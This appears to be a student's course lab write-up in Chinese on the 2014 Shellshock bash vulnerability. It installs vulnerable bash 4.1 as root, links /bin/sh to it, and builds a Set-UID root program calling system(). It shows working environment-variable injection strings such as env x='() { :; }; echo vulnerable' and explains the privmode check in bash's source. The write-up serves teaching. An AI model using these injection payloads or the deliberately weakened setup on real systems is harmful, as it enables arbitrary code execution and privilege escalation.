2020-2021-1 20209317《Linux内核原理与分析》第十二周作业
ShellShock 攻击实验
作业信息
| 这个作业属于哪个课程 | <2020-2021-1Linux内核原理与分析）> |
|---|---|
| 这个作业要求在哪里 | <2020-2021-1Linux内核原理与分析第十二周作业> |
| 这个作业的目标 | <通过进行shellshock攻击了解shellshock漏洞的原理> |
| 作业正文 | <本博客链接> |
实验简介
2014年9月24日，Bash中发现了一个严重漏洞shellshock，该漏洞可用于许多系统，并且既可以远程也可以在本地触发。在本实验中，学生需要亲手重现攻击来理解该漏洞，并回答一些问题。
预备知识
什么是ShellShock？
Shellshock，又称Bashdoor，是在Unix中广泛使用的Bash shell中的一个安全漏洞，首次于2014年9月24日公开。许多互联网守护进程，如网页服务器，使用bash来处理某些命令，从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统。——摘自维基百科
实验准备
1.环境搭建
以root权限安装4.1版bash（4.2版本以上的漏洞已经被堵上了） bash4.1 原来的下载地址是 http://ftp/gnu.org/gnu/bash/bash-4.1.tar.gz ，为了加快速度，我们这里使用下面的下载地址 http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
下载：
$ sudo su
$ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
安装
$ tar xf bash-4.1.tar.gz
$ cd bash-4.1
$ ./configure
$ make && make install
链接
$ rm /bin/bash
$ ln -s /usr/local/bin/bash /bin/bash
到这里就安装完了，接下来检测是否存在shellshock漏洞。
$ exit
$ env x='() { :; }; echo vulnerable' bash -c "echo this is a test"
输出vulnerable的话,说明bash有漏洞。
最后，让/bin/sh 指向/bin/bash.
$ sudo ln -sf /bin/bash /bin/sh
现在一切就绪，进入下一步吧。
2.预备知识
了解bash自定义函数，只需要函数名就能够调用该函数。
$ foo() { echo bar; }
$ foo
> bar
这个时候的Bash的环境变量：
KEY = foo
VALUE = () { echo bar; }
来看看ShellShock漏洞的真身：
export foo='() { :; }; echo Hello World'
bash
>Hello World
为什么调用bash的时候输出Hello World了呢？瞧瞧他内部的情况：
KEY = foo
VALUE = () { :; };
bash读取了环境变量，在定义foo之后直接调用了后面的函数。 一旦调用bash，自定义的语句就直接触发。
实验内容
攻击Set-UID程序
本实验中，我们通过攻击Set-UID程序来获得root权限。
我们知道system()函数将调用"/bin/sh -c" 来运行指定的命令, 这也意味着/bin/bash 会被调用，你能够利用shellshock漏洞来获取权限么？
首先，确保安装了带有漏洞的bash版本，并让/bin/sh 指向/bin/bash.
$ sudo ln -sf /bin/bash /bin/sh
在 /home/shiyanlou 目录下新建一个 shock.c 文件：
$ vi shock.c
按 I 键切换到插入模式，再输入如下内容：
#include <stdio.h>
void main()
{
setuid(geteuid()); // make real uid = effective uid.
system("/bin/ls -l");
}
编译这段代码，并设置其为Set-UID程序，保证它的所有者是root。
$ sudo su
$ gcc -o shock shock.c
$ chmod u+s shock
我们注意到这里使用了setuid(geteuid()) 来使real uid = effective uid，这在Set-UID程序中不是普遍现象，但它确实有时会发生。 先自己试着hack一下以下是hack过程：
如果 setuid(geteuid()) 语句被去掉了，再试试看攻击，我们还能够拿到权限么？
#include <stdio.h>
void main()
{
system("/bin/ls -l");
}
$ sudo su
$ gcc -o sh0ck shock.c
$ chmod u+s sh0ck
$ ls -il sh0ck
$ exit
$ ./sh0ck
(hack过程与step1完全一样，sh0ck是编译后的程序)
失败了！这就说明如果 real uid 和 effective uid 相同的话，定义在环境变量中的内容在该程序内有效，那样shellshock漏洞就能够被利用了。
但是如果两个 uid 不同的话，环境变量失效，就无法发动攻击了，这可以从 bash的源代码中得到印证（variables.c,在308到369行之间）请指出
是哪一行导致了这样的不同，并说明bash这样设计的原因。
这里给出部分代码
/* Initialize the shell variables from the current environment.
If PRIVMODE is nonzero, don't import functions from ENV or
parse $SHELLOPTS. */
void
initialize_shell_variables (env, privmode)
char **env;
int privmode;
{
char *name, *string, *temp_string;
int c, char_index, string_index, string_length;
SHELL_VAR *temp_var;
create_variable_tables ();
for (string_index = 0; string = env[string_index++]; )
{
char_index = 0;
name = string;
while ((c = *string++) && c != '=')
;
if (string[-1] == '=')
char_index = string - name - 1;
/* If there are weird things in the environment, like `=xxx' or a
string without an `=', just skip them. */
if (char_index == 0)
continue;
/* ASSERT(name[char_index] == '=') */
name[char_index] = '\0';
/* Now, name = env variable name, string = env variable value, and
char_index == strlen (name) */
temp_var = (SHELL_VAR *)NULL;
/* If exported function, define it now. Don't import functions from
the environment in privileged mode. */
if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
{
string_length = strlen (string);
temp_string = (char *)xmalloc (3 + string_length + char_index);
strcpy (temp_string, name);
temp_string[char_index] = ' ';
strcpy (temp_string + char_index + 1, string);
parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);
/* Ancient backwards compatibility. Old versions of bash exported
functions like name()=() {...} */
if (name[char_index - 1] == ')' && name[char_index - 2] == '(')
name[char_index - 2] = '\0';
if (temp_var = find_function (name))
{
VSETATTR (temp_var, (att_exported|att_imported));
array_needs_making = 1;
}
else
report_error (_("error importing function definition for `%s'"), name);
/* ( */
if (name[char_index - 1] == ')' && name[char_index - 2] == '\0')
name[char_index - 2] = '('; /* ) */
}
摘出其中关键部分并简化
void initialize_shell_variables(){
// 循环遍历所有环境变量
for (string_index = 0; string = env[string_index++]; ) {
/*...*/
/* 如果有export过的函数, 在这里定义 */
/* 无法导入在特权模式下（root下）定义的函数 */
if (privmode == 0 && read_but_dont_execute == 0 &&
STREQN (“() {“, string, 4)) {
[...]
// 这里是shellshock发生的地方
// 传递函数定义 + 运行额外的指令
parse_and_execute (temp_string, name,
SEVAL_NONINT|SEVAL_NOHIST);
[...]
} }
实验收获
是用一句话概括这个漏洞，就是代码和数据没有正确区分。
此次漏洞很像SQL注入，通过特别设计的参数使得解析器错误地执行了参数中的命令。这其实是所有解析性语言都可能存在的问题。
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
#env [OPTION]... [NAME=VALUE]... [COMMAND [ARGS]...]
这是网上最早流传出来验证漏洞的代码。如果漏洞存在，那个”echo vulnerable”会被执行，屏幕上会输出“vulnerable”。我们分析这句shell命令的语法。
+env 'x=() { :;}; echo vulnerable' bash -c 'echo this is a test'
#这是在bash -x下执行，执行命令时把命令和它们的参数显示出来。
可以看出，这个语句原本的意图是使用env命令创建一个临时环境，然后在里面执行一个bash命令。
从解析上看，bash解析并没有问题，语法是正常的。所以应该是env命令处理变量名时的漏洞。
bash可以将shell变量导出为环境变量，还可以将shell函数导出为环境变量！当前版本的bash通过以函数名作为环境变量名，以“（）{”开头的字串作为环境变量的值来将函数定义导出为环境变量。此次爆出的漏洞在于bash处理这样的“函数环境变量”的时候，并没有以函数结尾“}”为结束，而是一直执行其后的shell命令。
所以，在某种环境，bash会在给导出的函数定义处理环境时执行用户代码。
漏洞原理：
黑客定义了这样的环境变量（注：() 和 { 间的空格不能少）：
export X='() { echo "inside X"; }; echo "outside X";'
#可以用export看到这个函数变量。
declare -x X="() { echo \"inside X\"; }; echo \"outside X\";"
当我们开启一个子bash时。
$ export X='() { echo "inside X"; }; echo "outside X";'
$ bash
outside X
变量中的代码被执行了。（以上参考coolshell.cn）
漏洞就在于创建子bash时，注入代码被执行。所以，回忆一下那个漏洞验证代码，env后有一个bash，我试过多次，不直接跟bash都不会触发注入代码。上面的例子很好的解释了这一点，注入代码是在子bash载入用户环境变量时执行的，env后直接跟bash就是为了在env创建的临时环境中创建子bash以触发漏洞
就是上述那一行判断逻辑导致了两者的不同，primode即私有模式，要求real uid 与 effective uid保持一致。
